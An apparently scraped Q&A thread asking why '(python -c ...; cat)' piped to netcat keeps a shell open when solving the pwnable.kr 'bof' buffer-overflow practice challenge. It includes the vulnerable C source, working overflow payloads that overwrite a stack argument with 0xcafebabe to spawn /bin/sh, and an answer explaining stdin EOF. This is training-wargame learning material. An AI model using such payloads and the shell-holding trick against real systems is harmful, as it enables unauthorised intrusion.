Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

what is the difference between "python -c 'print' " and "(python -c 'print'; cat)" in linux

I usually use "python -c" to pass arguments to C program.

Like this:

$ python -c 'print "a" * 12' | ./program

but when I execute a BOF practice program pwnable.kr/bof, the

python -c 'print'

and

( python -c 'print'; cat )

work differently.

  1. I wrote a exploit code like this:

    $ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
    

    but it didn't work, so I found stack_canary value.

  2. $ python -c 'print "a"*32 +"\x0a"+ "a"*19 + "\xbe\xba\xfe\xca" ' | nc pwnable.kr 9000
    

    but it still didn't work

  3. So I found other people's write up

    $ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
    

    This exploit code successfully executed /bin/sh

Why this 3. exploit code passes stack canary and what is the difference between python -c 'print' and (python -c 'print'; cat) ?

#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
   }
 int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
 } 

bof.c source

$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000

* stack smashing detected *: /home/bof/bof terminated overflow me :

Nah..


$ python -c 'print "a"*32 +"\x0a"' | nc pwnable.kr 9000

overflow me :

Nah..


$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000

successfully execute /bin/sh

like image 506
won heo Avatar asked May 13 '26 05:05

won heo


1 Answers

cat /dev/null | /bin/sh

This will run /bin/sh shell (and abuse cats, but will leave them for a moment) and the shell /bin/sh will immediately close without writing anything. /bin/sh runs an interactive shell, but as the standard input of the shell is closed (either by <nothing> | or by </dev/null) the shell detects that the input has ended (it reads EOF) and exists immediately.

Now let's complicate the example:

$ cat <<EOF >bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
     // bla bla bla 
        system("/bin/sh");
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
EOF

$ gcc bof.c -o bof
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | ./bof

The ./bof program calls system("/bin/sh") if stack smashing was successful. But the shell /bin/sh would try to still read standard input. As there is nothing more to read (as the input python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' ended) it will read EOF and exit immediately.

To write a string from a program and then allow the input to be interactive again, you can use a subshell with cat:

 ( printf "\x11\xbe\xba\xfe\xca" ; cat )

This will first run the printf command, then run the cat. cat will read from standard input after printf ended, so the console will act as an interactive again.

like image 72
KamilCuk Avatar answered May 14 '26 18:05

KamilCuk



Donate For Us

If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!